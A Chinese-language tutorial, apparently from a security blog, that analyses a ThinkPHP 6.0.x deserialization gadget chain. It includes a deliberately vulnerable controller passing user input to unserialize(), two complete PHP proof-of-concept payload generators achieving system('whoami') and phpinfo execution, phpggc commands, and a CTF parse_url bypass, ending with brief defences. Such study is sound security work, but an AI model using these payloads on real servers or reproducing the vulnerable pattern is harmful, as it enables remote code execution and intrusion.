学习 ThinkPHP V6.0.x 反序列化链挖掘
字数 1762 2025-08-05 11:39:33
ThinkPHP V6.0.x 反序列化漏洞分析与利用
漏洞概述
ThinkPHP V6.0.x 存在反序列化漏洞,当应用程序中存在可控的 unserialize() 函数时,攻击者可以构造特定的序列化数据实现远程代码执行。
环境搭建
composer create-project topthink/think=6.0.x-dev thinkphp-v6.0
cd thinkphp-v6.0
php think run
注意:ThinkPHP6 需要 PHP7.1 及以上环境。
漏洞利用条件
- 应用程序中存在可控的
unserialize()函数 - 使用 ThinkPHP 进行二次开发
漏洞点设置示例
在 Index 控制器中添加漏洞点:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
$c = unserialize($_GET['whoami']); // 参数可控的unserialize函数
var_dump($c);
return 'Welcome to ThinkPHP!';
}
}
POP链构造分析
__destruct() 链构造
-
入口点:
think\orm\src\Model.php中的__destruct()方法- 需要设置
$this->lazySave = true以触发save()方法
- 需要设置
-
save() 方法(位于
Model.php)- 绕过条件:
$this->isEmpty()返回 false →$this->data不为空$this->trigger('BeforeWrite')返回 true →$this->withEvent = false
- 根据
$this->exists值进入不同分支:$this->exists = true→ 进入updateData()$this->exists = false→ 进入insertData()
- 绕过条件:
-
updateData() 方法
- 需要
$this->force = true以直接返回$this->data - 最终调用
$this->checkAllowFields()
- 需要
-
checkAllowFields() 方法
- 需要
$this->field为空 - 需要
$this->schema非空 - 调用
$this->db()
- 需要
-
db() 方法
- 关键点:字符串拼接
$this->table . $this->suffix - 通过将
$this->table或$this->suffix设置为对象触发__toString()
- 关键点:字符串拼接
__toString() 链构造
-
入口点:
Conversiontrait 中的__toString()方法- 调用
toJson() - 调用
toArray()
- 调用
-
toArray() 方法
- 遍历
$data并调用getAttr($key)
- 遍历
-
getAttr() 方法
- 调用
getData($name)获取$value - 最终调用
getValue($name, $value)
- 调用
-
getValue() 方法
- 关键利用点:
$closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data); - 通过设置:
$this->withAttr[$key] = "system"$this->data = ["evil_key" => "whoami"]
- 实现
system('whoami')执行
- 关键利用点:
完整POC
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["evil_key" => "whoami"];
private $withAttr = ["evil_key" => "system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
利用SerializableClosure构造payload
<?php
namespace think\model\concern;
trait Attribute{
private $data;
private $withAttr;
}
trait ModelEvent{
protected $withEvent;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$func = function(){phpinfo();};
$b=\Opis\Closure\serialize($func);
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
$this->data=['jiang'=>''];
$c=unserialize($b);
$this->withAttr=['jiang'=>$c];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));
使用phpggc工具生成payload
php ./phpggc -u thinkphp/rce2 'phpinfo();'
php ./phpggc -u thinkphp/rce2 "system('whoami');"
CTF实战:[安洵杯 2019]iamthinking
- 题目环境为ThinkPHP6
- 存在可控的
unserialize()函数 - 需要绕过
parse_url()函数检测:- 在URL域名后添加多个斜杠
/可使parse_url()报错返回false - 示例:
http://xxx.com///public/?payload=O%3A17%3A...
- 在URL域名后添加多个斜杠
防御措施
- 避免使用可控的
unserialize()函数 - 使用安全的反序列化方法,如JSON
- 及时更新ThinkPHP框架版本
参考资源
- https://blog.csdn.net/qq_42181428/article/details/105777872
- https://www.anquanke.com/post/id/187393
- https://www.gaojiufeng.cn/?id=386
- https://www.anquanke.com/post/id/187332
- https://www.cnblogs.com/JinYITong/p/13994856.html